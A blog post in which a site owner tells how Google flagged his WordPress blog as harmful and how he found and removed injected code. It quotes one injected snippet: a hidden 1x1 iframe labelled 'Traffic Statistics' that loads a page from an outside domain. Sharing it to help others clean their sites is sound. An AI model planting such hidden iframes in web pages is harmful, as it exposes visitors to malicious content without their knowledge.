Right around the holidays, I noticed that the traffic on my site had really died down. I didn’t give it much thought, assuming that people were focusing on the holidays and not on the internet. I checked my stats a week or so later and noticed that traffic still hadn’t picked up to normal levels and that Google wasn’t referring me that many people anymore. In fact, Yahoo became my top referrer which seemed odd. I might have checked yet another time before I decided to get on Google and do a search that would turn up my site. I did so and there I was at number 3 on Google. So where’s the traffic?

I finally looked closely at my placement in Google and saw words to the effect of “Warning, this site may harm your computer.” WHAT!? My site may harm your computer. What gives? After some digging, I discovered that I needed to visit Google’s Webmaster Tools. From there I learned that Google had determined that my site was doing bad things to people’s computers. Google’s list of potential problems was exhaustive and really didn’t help me determine what was wrong.

I started going through the code of each of the posts on my site and came across a couple instances of this:

Traffic Statistics
iframe src=” http://www.wp-stats-php.info/iframe/wp-stats.php” frameborder=”0″ height=”1″ width=”1″
/iframe
End Traffic Statistics

I’ve removed the enclosures marking it as code to the site so you can see it here. It’s labeled as traffic statistics but I think that is just to mislead.

I ended up going through all my posts and removing any instances of the above. This code does cause your page to hang and take forever to load. Now, whenever I go to one of my blogs, I pay attention to how long the page takes to load. If it takes too long, I started searching through my posts and every time, I’ve found code like this. Once the code is removed the blog loads normally.

What to do to fight this? Upgrade to the latest version of WordPress, check your posts, watch your blog as it loads and determine if it is taking too long to do so, and keep your computer software up to date.

After removing the code, I requested reconsideration from Google through their webmaster tools and the warning was removed the next day. Stay alert! The hackers are trying to ruin the web.

More bullsheet code from hackers found in another blog –

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